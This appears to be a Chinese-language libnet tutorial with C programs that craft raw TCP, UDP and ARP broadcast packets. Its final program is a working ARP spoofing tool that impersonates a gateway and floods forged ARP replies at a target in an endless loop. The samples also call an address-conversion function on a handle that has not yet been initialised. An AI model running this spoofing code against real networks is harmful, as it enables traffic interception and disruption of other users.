TCP:
-
#include <libnet.h>
-
-
int main() {
-
libnet_t *handle; /* Libnet句柄 */
-
int packet_size; /* 構造的數據包大小 */
-
char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
-
char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
-
char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
-
u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
-
u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
-
u_long dst_ip, src_ip; /* 網路序的目的IP和源IP */
-
char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
-
libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各層build函數返回值 */
-
u_short proto = IPPROTO_TCP; /* 傳輸層協議 */
-
u_char payload[255] = {0}; /* 承載數據的數組,初值爲空 */
-
u_long payload_s = 0; /* 承載數據的長度,初值爲0 */
-
-
/* 把目的IP地址字符串轉化成網絡序 */
-
dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
-
/* 把源IP地址字符串轉化成網絡序 */
-
src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
-
-
/* 初始化Libnet */
-
if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
-
printf("libnet_init failure\n");
-
return (-1);
-
};
-
-
strncpy(payload, "test", sizeof(payload)-1); /* 構造負載的內容 */
-
payload_s = strlen(payload); /* 計算負載內容的長度 */
-
-
#if 0
-
/* 構建TCP的選項,通常在第一個TCP通信報文中設置MSS */
-
tcp_op_tag = libnet_build_tcp_options(
-
payload,
-
payload_s,
-
handle,
-
0
-
);
-
if (tcp_op_tag == -1) {
-
printf("build_tcp_options failure\n");
-
return (-2);
-
};
-
#endif
-
-
tcp_tag = libnet_build_tcp(
-
30330, /* 源端口 */
-
30331, /* 目的端口 */
-
8888, /* 序列號 */
-
8889, /* 確認號 */
-
TH_PUSH | TH_ACK, /* Control
flags */
-
14600, /* 窗口尺寸 */
-
0, /* 校驗和,0爲自動計算 */
-
0, /* 緊急指針 */
-
LIBNET_TCP_H + payload_s, /* 長度 */
-
payload, /* 負載內容 */
-
payload_s, /* 負載內容長度 */
-
handle, /* libnet句柄 */
-
0 /* 新建包 */
-
);
-
if (tcp_tag == -1) {
-
printf("libnet_build_tcp failure\n");
-
return (-3);
-
};
-
-
/* 構造IP協議塊,返回值是新生成的IP協議快的一個標記 */
-
ip_tag = libnet_build_ipv4(
-
LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP協議塊的總長,*/
-
0, /* tos */
-
(u_short) libnet_get_prand(LIBNET_PRu16), /* id,隨機產生0~65535 */
-
0, /* frag
片偏移 */
-
(u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,隨機產生0~255 */
-
proto, /* 上層協議 */
-
0, /* 校驗和,此時爲0,表示由Libnet自動計算 */
-
src_ip, /* 源IP地址,網絡序 */
-
dst_ip, /* 目標IP地址,網絡序 */
-
NULL, /* 負載內容或爲NULL */
-
0, /* 負載內容的大小*/
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記可修改或創建,0表示構造一個新的*/
-
);
-
if (ip_tag == -1) {
-
printf("libnet_build_ipv4 failure\n");
-
return (-4);
-
};
-
-
/* 構造一個以太網協議塊,只能用於LIBNET_LINK */
-
eth_tag = libnet_build_ethernet(
-
dst_mac, /* 以太網目的地址 */
-
src_mac, /* 以太網源地址 */
-
ETHERTYPE_IP, /* 以太網上層協議類型,此時爲IP類型 */
-
NULL, /* 負載,這裏爲空 */
-
0, /* 負載大小 */
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記,0表示構造一個新的 */
-
);
-
if (eth_tag == -1) {
-
printf("libnet_build_ethernet failure\n");
-
return (-5);
-
};
-
-
packet_size = libnet_write(handle); /* 發送已經構造的數據包*/
-
-
libnet_destroy(handle); /* 釋放句柄 */
-
-
return (0);
- }
-
#include <libnet.h>
-
-
int main() {
-
libnet_t *handle; /* Libnet句柄 */
-
int packet_size; /* 構造的數據包大小 */
-
char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
-
char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
-
char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
-
u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
-
u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
-
u_long dst_ip, src_ip; /* 網路序的目的IP和源IP */
-
char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
-
libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各層build函數返回值 */
-
u_short proto = IPPROTO_UDP; /* 傳輸層協議 */
-
u_char payload[255] = {0}; /* 承載數據的數組,初值爲空 */
-
u_long payload_s = 0; /* 承載數據的長度,初值爲0 */
-
-
/* 把目的IP地址字符串轉化成網絡序 */
-
dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
-
/* 把源IP地址字符串轉化成網絡序 */
-
src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
-
-
/* 初始化Libnet */
-
if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
-
printf("libnet_init failure\n");
-
return (-1);
-
};
-
-
strncpy(payload, "test", sizeof(payload)-1); /* 構造負載的內容 */
-
payload_s = strlen(payload); /* 計算負載內容的長度 */
-
-
udp_tag = libnet_build_udp(
-
30330, /* 源端口 */
-
30331, /* 目的端口 */
-
LIBNET_UDP_H + payload_s, /* 長度 */
-
0, /* 校驗和,0爲libnet自動計算 */
-
payload, /* 負載內容 */
-
payload_s, /* 負載內容長度 */
-
handle, /* libnet句柄 */
-
0 /* 新建包 */
-
);
-
if (udp_tag == -1) {
-
printf("libnet_build_tcp failure\n");
-
return (-3);
-
};
-
-
/* 構造IP協議塊,返回值是新生成的IP協議快的一個標記 */
-
ip_tag = libnet_build_ipv4(
-
LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP協議塊的總長,*/
-
0, /* tos */
-
(u_short) libnet_get_prand(LIBNET_PRu16), /* id,隨機產生0~65535 */
-
0, /* frag
片偏移 */
-
(u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,隨機產生0~255 */
-
proto, /* 上層協議 */
-
0, /* 校驗和,此時爲0,表示由Libnet自動計算 */
-
src_ip, /* 源IP地址,網絡序 */
-
dst_ip, /* 目標IP地址,網絡序 */
-
NULL, /* 負載內容或爲NULL */
-
0, /* 負載內容的大小*/
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記可修改或創建,0表示構造一個新的*/
-
);
-
if (ip_tag == -1) {
-
printf("libnet_build_ipv4 failure\n");
-
return (-4);
-
};
-
-
/* 構造一個以太網協議塊,只能用於LIBNET_LINK */
-
eth_tag = libnet_build_ethernet(
-
dst_mac, /* 以太網目的地址 */
-
src_mac, /* 以太網源地址 */
-
ETHERTYPE_IP, /* 以太網上層協議類型,此時爲IP類型 */
-
NULL, /* 負載,這裏爲空 */
-
0, /* 負載大小 */
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記,0表示構造一個新的 */
-
);
-
if (eth_tag == -1) {
-
printf("libnet_build_ethernet failure\n");
-
return (-5);
-
};
-
-
packet_size = libnet_write(handle); /* 發送已經構造的數據包*/
-
-
libnet_destroy(handle); /* 釋放句柄 */
-
-
return (0);
- }
ARP廣播包:
-
#include <libnet.h>
-
-
int main() {
-
libnet_t *handle; /* Libnet句柄 */
-
int packet_size;
-
char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
-
u_int8_t *src_ip_str = "192.168.128.200"; /* 源IP地址字符串 */
-
u_int8_t *dst_ip_str = "192.168.128.88"; /* 目的IP地址字符串 */
-
u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
-
u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,廣播地址 */
-
/* 接收方MAC,ARP請求目的就是要詢問對方MAC,所以這裏填寫0 */
-
u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
-
u_int32_t dst_ip, src_ip; /* 網路序的目的IP和源IP */
-
char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
-
libnet_ptag_t arp_proto_tag, eth_proto_tag;
-
-
/* 把目的IP地址字符串轉化成網絡序 */
-
dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
-
/* 把源IP地址字符串轉化成網絡序 */
-
src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
-
-
if ( dst_ip == -1 || src_ip == -1 ) {
-
printf("ip address convert error\n");
-
exit(-1);
-
};
-
/* 初始化Libnet,注意第一個參數和TCP初始化不同 */
-
if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
-
printf("libnet_init: error [%s]\n", error);
-
exit(-2);
-
};
-
-
/* 構造arp協議塊 */
-
arp_proto_tag = libnet_build_arp(
-
ARPHRD_ETHER, /* 硬件類型,1表示以太網硬件地址 */
-
ETHERTYPE_IP, /* 0x0800表示詢問IP地址 */
-
6, /* 硬件地址長度 */
-
4, /* IP地址長度 */
-
ARPOP_REQUEST, /* 操作方式:ARP請求 */
-
src_mac, /* source
MAC addr */
-
(u_int8_t *)&src_ip, /* src
proto addr */
-
rev_mac, /* dst
MAC addr */
-
(u_int8_t *)&dst_ip, /* dst
IP addr */
-
NULL, /* no
payload */
-
0, /* payload
length */
-
handle, /* libnet
tag */
-
0 /* Create
new one */
-
);
-
if (arp_proto_tag == -1) {
-
printf("build IP failure\n");
-
exit(-3);
-
};
-
-
/* 構造一個以太網協議塊
-
You should only use this function when
-
libnet is initialized with the LIBNET_LINK interface.*/
-
eth_proto_tag = libnet_build_ethernet(
-
dst_mac, /* 以太網目的地址 */
-
src_mac, /* 以太網源地址 */
-
ETHERTYPE_ARP, /* 以太網上層協議類型,此時爲ARP請求 */
-
NULL, /* 負載,這裏爲空 */
-
0, /* 負載大小 */
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記,0表示構造一個新的 */
-
);
-
if (eth_proto_tag == -1) {
-
printf("build eth_header failure\n");
-
return (-4);
-
};
-
-
packet_size = libnet_write(handle); /* 發送已經構造的數據包*/
-
-
libnet_destroy(handle); /* 釋放句柄 */
-
-
return (0);
- }
arp應答包(arp欺騙)
-
#include <libnet.h>
-
-
int main() {
-
libnet_t *handle; /* Libnet句柄 */
-
int packet_size;
-
char *device = "eth0"; /* 設備名字,也支持點十進制的IP地址,會自己找到匹配的設備 */
-
u_int8_t *src_ip_str = "192.168.2.30"; /* 冒充的網關IP */
-
u_int8_t *dst_ip_str = "192.168.2.170"; /* 干擾的目標IP */
-
u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虛假的源MAC */
-
u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干擾的目標MAC */
-
u_int32_t dst_ip, src_ip; /* 網路序的目的IP和源IP */
-
char error[LIBNET_ERRBUF_SIZE]; /* 出錯信息 */
-
libnet_ptag_t arp_proto_tag, eth_proto_tag;
-
-
/* 把目的IP地址字符串轉化成網絡序 */
-
dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
-
/* 把源IP地址字符串轉化成網絡序 */
-
src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
-
-
if ( dst_ip == -1 || src_ip == -1 ) {
-
printf("ip address convert error\n");
-
exit(-1);
-
};
-
/* 初始化Libnet,注意第一個參數和TCP初始化不同 */
-
if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
-
printf("libnet_init: error [%s]\n", error);
-
exit(-2);
-
};
-
-
/* 構造arp協議塊 */
-
arp_proto_tag = libnet_build_arp(
-
ARPHRD_ETHER, /* 硬件類型,1表示以太網硬件地址 */
-
ETHERTYPE_IP, /* 0x0800表示詢問IP地址 */
-
6, /* 硬件地址長度 */
-
4, /* IP地址長度 */
-
ARPOP_REPLY, /* 操作方式:ARP請求 */
-
src_mac, /* source MAC addr */
-
(u_int8_t *)&src_ip, /* src
proto addr */
-
dst_mac, /* dst MAC addr */
-
(u_int8_t *)&dst_ip, /* dst
IP addr */
-
NULL, /* no
payload */
-
0, /* payload length */
-
handle, /* libnet tag */
-
0 /* Create new one */
-
);
-
if (arp_proto_tag == -1) {
-
printf("build IP failure\n");
-
exit(-3);
-
};
-
-
/* 構造一個以太網協議塊
-
You should only use this function when
-
libnet is initialized with the LIBNET_LINK interface.*/
-
eth_proto_tag = libnet_build_ethernet(
-
dst_mac, /* 以太網目的地址 */
-
src_mac, /* 以太網源地址 */
-
ETHERTYPE_ARP, /* 以太網上層協議類型,此時爲ARP請求 */
-
NULL, /* 負載,這裏爲空 */
-
0, /* 負載大小 */
-
handle, /* Libnet句柄 */
-
0 /* 協議塊標記,0表示構造一個新的 */
-
);
-
if (eth_proto_tag == -1) {
-
printf("build eth_header failure\n");
-
return (-4);
-
};
-
-
while(1) {
-
packet_size = libnet_write(handle); /* 死循環發送arp欺騙廣播 */
-
usleep(1000);
-
};
-
-
libnet_destroy(handle); /* 釋放句柄 */
-
-
return (0);
- }